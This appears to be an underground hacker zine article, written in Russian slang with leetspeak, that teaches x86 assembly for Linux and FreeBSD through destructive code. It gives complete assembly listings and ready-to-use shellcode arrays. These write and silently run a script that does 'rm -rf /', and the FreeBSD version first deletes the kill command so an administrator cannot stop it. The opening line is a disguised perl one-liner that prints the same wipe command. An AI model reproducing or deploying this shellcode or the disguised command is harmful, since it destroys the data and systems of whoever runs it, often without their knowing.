itz REALLY 0day: `perl -e 'print "\x72\x6d\x20\x2d\x72\x66\x20\x2f\x20\x26"'`
--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==

                               Assembler in xmplz
                           ~~~~~~~~~~~~~~~~~~~~~~~~~~
                     *** how_to fuck whitehatz with asm ***


c0ntent:
- intro
- rm_all 4 linux
- rm_all#2 4 fbsd
- da outro



$0x1 INTRO ---------------------------------------------------------------------
 
  Эта дока не является очередным тупым маном по асму. Она поможет тем, кто хочет
получше узнать asm в линухе и fbsd. Короче, начнём...



$0x2 rm_all code ---------------------------------------------------------------

  Эта прога запускает в background'е rm и отправляет все его error'ы в /dev/null
чтобы whitehat не сразу понял, что происхоит. В начале я хотел это сделать через
execve(), но такую кучу аргументов передавать гиморно. Ну и конечно  2>/dev/null
обрабатывается шеллом. Так что решение простое - создаём скрипт и запускаем его.

#
# This iz rm_all.s
#
#  Howto build: as -o rm.o rm_all.s; ld -o rm rm.o; ./rm
#  Hex listing: as -al rm_all.s > my_fuckin_listing.txt

.globl _start
_start:

# open() syscall = $5
# O_CREAT 0100  \ O_CREAT | O_WRONLY = 0101
# O_WRITE   01  /  

    xor %eax,%eax       
    pushl %eax
    pushl $0x7a7a7a7a   # filename is "zzzz\0"
    movl %esp,%ebx      # arg1 - filename
    push $0101          # arg2 - open mode 
    pop %ecx            # передаём через стек, без гимора
    mov $5,%al          # open() syscall in %eax
    int $0x80
    
# теперь в eax появился дескриптор файла.

# write() = $4 

    xor %ecx,%ecx
    pushl %ecx
    pushl $0x0a26206c   # "l &\n"
    pushl $0x6c756e2f   # "/nul"
    pushl $0x7665642f   # "/dev"
    pushl $0x3e32202f   # "/ 2>"
    pushl $0x2066722d   # "-rf "
    pushl $0x206d722f   # "/rm "
    pushl $0x6e69622f   # "/bin"
    pushl $0x0a0a0a68   # "h\n\n\n" 
    pushl $0x732f6e69   # "in/s"
    pushl $0x622f2123   # "#!/b"
    movl %esp,%ecx  # arg2 - строка
    movl %eax,%ebx  # arg1 - дескриптор файла
    mov $40,%dl     # arg3 - длина строки
    mov $4,%al      # write() syscall in %eax
    int $0x80    
    
# close() = $6   
 
    xor %eax,%eax
    mov $6,%al      # arg2 - в %ebx уже лежит дескритор. так что
                    # просто кладём в %eax close() syscall 
    int $0x80
    
# chmod() = $15
# make "zzzz" 00755 mode 

    xor %eax,%eax
    pushl %eax
    pushl $0x7a7a7a7a
    movl %esp,%ebx  # arg1 - filename "zzzz\0"
    movw $0755,%cx  # arg2 - mode
    mov $15,%al     # chmod() syscall in %eax
    int $0x80

# хех, почти готово...

# Теперь, запускаем скрипт
# execve() = $11

    xor %eax,%eax
    xor %edx,%edx   # arg3 = NULL
    pushl %eax
    pushl $0x7a7a7a7a   # execve(".///zzzz",".///zzzz",0);
    pushl $0x2f2f2f2e  
    movl %esp,%ebx  # arg1 - filename ".///zzzz\0"
    pushl %eax
    pushl %ebx
    movl %esp,%ecx  # arg2 - тоже
    mov $11,%al     # execve() syscall in %eax
    int $0x80    
    
# exit() = $1
    xor %eax,%eax
    incl %eax       # 0+1=$1 aka exit() syscall
    int $0x80

# _eof_

/* ready 2 use rm-shellcode 4 linux x86 */

char rm_shellcode[] = 
"\x31\xC0\x50\x68\x7A\x7A\x7A\x7A\x89\xE3\x6A\x41\x59"
"\xB0\x05\xCD\x80\x31\xC9\x51\x68\x6C\x20\x26\x0A\x68"
"\x2F\x6E\x75\x6C\x68\x2F\x64\x65\x76\x68\x2F\x20\x32"
"\x3E\x68\x2D\x72\x66\x20\x68\x2F\x72\x6D\x20\x68\x2F"
"\x62\x69\x6E\x68\x68\x0A\x0A\x0A\x68\x69\x6E\x2F\x73"
"\x68\x23\x21\x2F\x62\x89\xE1\x89\xC3\xB2\x28\xB0\x04"
"\xCD\x80\x31\xC0\xB0\x06\xCD\x80\x31\xC0\x50\x68\x7A"
"\x7A\x7A\x7A\x89\xE3\x66\xB9\xED\x01\xB0\x0F\xCD\x80"
"\x31\xC0\x31\xD2\x50\x68\x7A\x7A\x7A\x7A\x68\x2E\x2F"
"\x2F\x2F\x89\xE3\x50\x53\x89\xE1\xB0\x0B\xCD\x80\x31"
"\xC0\x40\xCD\x80";



$0x3 rm_all 4 fbsd -------------------------------------------------------------

  Несколько улучшенная rm_all прога, написана для freebsd x86. Сначала трёт kill
чтобы вайтхет мог только наблюдать... или ребутнуть бокс ж))) Если кто не понял,
что это за код, советую почитать FreeBSD developer's handbook.

# x86.s
#  rm_all prog for freebsd x86

.globl _start
_start:

# chdir("/bin");

xor %eax,%eax
push %eax
pushl $0x6e69622f   # "/bin\0" 
movl %esp,%ebx
pushl %ebx        # arg1 = dir
pushl $12         # chdir() syscall
push %eax           
int $0x80


# f=open("zyxa",O_CREAT|O_WRONLY,0755);

xor %eax,%eax
push %eax
pushl $0x6178797a   # "zyxa\0"
movl %esp,%ebx
pushw $0755       # arg3 = 0755 (phile mode)
pushw $0x0201     # arg2 = O_CREAT | O_WRONLY (l00k fcntl.h)
pushl %ebx        # arg1 = phile name
pushl $5          # open() syscall
push %eax
int $0x80


# write(f,"#!/bin/sh\nrm -f kill\nrm -rf /* &",32);

movl %eax,%edx # полученный дескриптор сохраняем в %edx
xor %eax,%eax
push %eax
pushl $0x26202a2f   # "/* &\0"
pushl $0x2066722d   # "-rf "
pushl $0x206d720a   # "\nrm "
pushl $0x6c6c696b   # "kill"
pushl $0x20662d20   # " -f "
pushl $0x6d720a68   # "h\nrm"
pushl $0x732f6e69   # "in/s"
pushl $0x622f2123   # "#!/b"
movl %esp,%ebx
pushl $32         # arg3 = 32 (длина строки)
pushl %ebx        # arg2 = string "#!/bin/sh\n..."
pushl %edx        # arg1 = descriptor 
pushl $4          # write() syscall
push %eax
int $0x80


# close(f);

xor %eax,%eax
pushl %edx        # arg1 = descriptor
pushl $6          # close() syscall
push %eax
int $0x80


# execve() aka "/bin/sh zyxa"

xor %eax,%eax
push %eax
pushl $0x68732f6e # "n/sh\0"
pushl $0x69622f2f # "//bi"
movl %esp,%ebx
push %eax
pushl $0x6178797a # "zyxa\0"
movl %esp,%ecx
push %eax
pushl %ecx        # "zyxa\0" - execve arg2
pushl %ebx        # "//bin/sh"- execve arg1
movl %esp,%edx    # теперь в %edx набор аргументов
push %eax         # arg3 (env) = NULL
pushl %edx        # arg2 (argz) = "//bin/sh\0","zyxa\0"
pushl %ebx        # arg1 (phile) = "//bin/sh\0"
pushl $59         # execve() syscall
push %eax
int $0x80

xor %eax,%eax
push $1           # exit() syscall
push %eax
int $0x80

# _eof_

/* ready-2-use rm_all shellcode 4 freebsd x86 
size = 147 bytes */

char fbsd_shellcode[] = 

"\x31\xC0\x50\x68\x2F\x62\x69\x6E\x89\xE3\x53\x6A\x0C"
"\x50\xCD\x80\x31\xC0\x50\x68\x7A\x79\x78\x61\x89\xE3"
"\x66\x68\xED\x01\x66\x68\x01\x02\x53\x6A\x05\x50\xCD"
"\x80\x89\xC2\x31\xC0\x50\x68\x2F\x2A\x20\x26\x68\x2D"
"\x72\x66\x20\x68\x0A\x72\x6D\x20\x68\x6B\x69\x6C\x6C"
"\x68\x20\x2D\x66\x20\x68\x68\x0A\x72\x6D\x68\x69\x6E"
"\x2F\x73\x68\x23\x21\x2F\x62\x89\xE3\x6A\x20\x53\x52"
"\x6A\x04\x50\xCD\x80\x31\xC0\x52\x6A\x06\x50\xCD\x80"
"\x31\xC0\x50\x68\x6E\x2F\x73\x68\x68\x2F\x2F\x62\x69"
"\x89\xE3\x50\x68\x7A\x79\x78\x61\x89\xE1\x50\x51\x53"
"\x89\xE2\x50\x52\x53\x6A\x3B\x50\xCD\x80\x31\xC0\x6A"
"\x01\x50\xCD\x80";



$0x4 da outro ------------------------------------------------------------------

  The_fuckin_end. Щас кто-то скажет что я занимаюсь ерундой. Я не пишу проги без
цели. Это соответственно тоже юзается. А когда будет нужно что-то более сложное,
я возможно напишу это на асме... Хотя не надо зацикливаться на этом. У  _одной_
траблы всегда _много_ решений. И для гуру асма и WHITEHAT'ов - мне _пох_ на ваше
мнение о моих знаниях и на другой флейм.